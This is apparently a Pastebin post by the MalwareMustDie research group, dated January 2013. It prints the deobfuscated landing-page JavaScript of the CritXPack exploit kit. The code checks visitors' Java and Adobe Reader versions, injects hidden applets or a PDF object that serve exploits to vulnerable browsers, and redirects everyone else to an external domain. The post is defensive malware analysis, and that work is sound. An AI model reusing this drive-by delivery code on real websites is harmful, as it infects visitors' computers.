MalwareMustDie

#MalwareMustDie - CritXPack ExploitKit Landing page Cracked

Jan 13th, 2013
1,581
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // #MalwareMustDie - The cracked code of:
  2. // CritXPack Exploit Kit Landing Page
  3. // @unixfreaxjp /malware]$ date
  4. // Sun Jan 13 21:16:41 JST 2013
  5.  
  6. var Y9Nmp1nN7 = 0;
  7. var selJdFtA = 0;
  8. var b3RSQGB84 = 0;
  9. try {
  10.   var GfkghfHqFF9 = (PluginDetect.getVersion("Java") + ".").toString().split(".");
  11.   if ((GfkghfHqFF9[0] == 1) && (GfkghfHqFF9[1] == 7) && (GfkghfHqFF9[3] < 9)){
  12.     Y9Nmp1nN7 = 7
  13.   }
  14.   else if ((GfkghfHqFF9[0] == 1) && (GfkghfHqFF9[1] == 6) && (GfkghfHqFF9[3] < 33)){
  15.     Y9Nmp1nN7 = 6
  16.   }
  17.   else if ((GfkghfHqFF9[0] == 1) && (GfkghfHqFF9[1] < 6)){
  18.     Y9Nmp1nN7 = 5
  19.   }
  20.   else {
  21.     Y9Nmp1nN7 = 0
  22.   }
  23. }
  24. catch (e){
  25.   Y9Nmp1nN7 = 0
  26. }
  27. try {
  28.   var bqeVOXhTg9n = (PluginDetect.getVersion("AdobeReader") + ".")["toString"]().split("."
  29.   );
  30.   if ((bqeVOXhTg9n[0] == 8) || ((bqeVOXhTg9n[0] == 9) && (bqeVOXhTg9n[1] < 4))){
  31.     selJdFtA = 2
  32.   }
  33.   else {
  34.     selJdFtA = 0
  35.   }
  36. }
  37. catch (e){
  38.   selJdFtA = 0
  39. }
  40. if ((selJdFtA == 0) && (Y9Nmp1nN7 == 0) && (b3RSQGB84 == 0)){
  41.   document.location.href = "http://root.kaovo.com/n121212p/awsxd/jpfoff.php?token=%64%65%66%61%75%6c%74&"
  42. }
  43. if (Y9Nmp1nN7 == 5){
  44.   document.write('<div style="visibility:hidden"><applet code="a.Test" archive="j15.php?i=cXOYGn5Mc5008McXOY0SFtid0Sd5dSAjAr1fAjrSiFk06riAlWcXOYDF1DF5DFFDFSDl5DFjDl1cXO5" width="1" height="1"><param name="oh" value="dXXOszzHUUX9PFUhU9WULz=#Y#Y#YOzF:BnfzoUFf9OdORiM-SF-r#-1r-r#-tApXUPi=M-rS-rA-rr-r#-1A-rW-1Sp"></applet></div>')
  45. }
  46. if (Y9Nmp1nN7 == 6){
  47.   document.write('
  48. <div style="visibility:hidden"><applet code="a.Test" archive="j16.php?i=cXOYGn5Mc5008McXOY0SFtid0Sd5dSAjAr1fAjrSiFk06riAlWcXOYDF1DF5DFFDFSDl5DFjDl1cXOYF" width="1" height="1"><param name="oh" value="dXXOszzHUUX9PFUhU9WULz=#Y#Y#YOzF:BnfzoUFf9OdORiM-SF-r#-1r-r#-trpXUPi=M-rS-rA-rr-r#-1A-rW-1Sp"></applet></div>')
  49. }
  50. if (Y9Nmp1nN7 == 7){   // java infector part is here!!!!!
  51.   document.write('
  52. <div style="visibility:hidden"><applet code="E" archive="j17.php?i=cXOYGn5Mc5008McXOY0SFtid0Sd5dSAjAr1fAjrSiFk06riAlWcXOYDF1DF5DFFDFSDl5DFjDl1cXOYl" width="1" height="1"><param name="oh" value="dXXOszzHUUX9PFUhU9WULz=#Y#Y#YOzF:BnfzoUFf9OdORiM-SF-r#-1r-r#-t1pXUPi=M-rS-rA-rr-r#-1A-rW-1Sp"></applet></div>')
  53. }
  54. if (selJdFtA == 2){   //pdf infector part is here!!!!!
  55.   document.write('
  56. <div style="visibility:hidden"><object type="application/pdf" data="lpdf.php?i=cXOYGn5Mc5008McXOY0SFtid0Sd5dSAjAr1fAjrSiFk06riAlWcXOYDF1DF5DFFDFSDl5DFjDl1cXOYxLk&" width="10" height="10"></object></div>')
  57. }
  58.  
  59. ----
  60. #MalwareMustDie!
Add Comment
Please, Sign In to add comment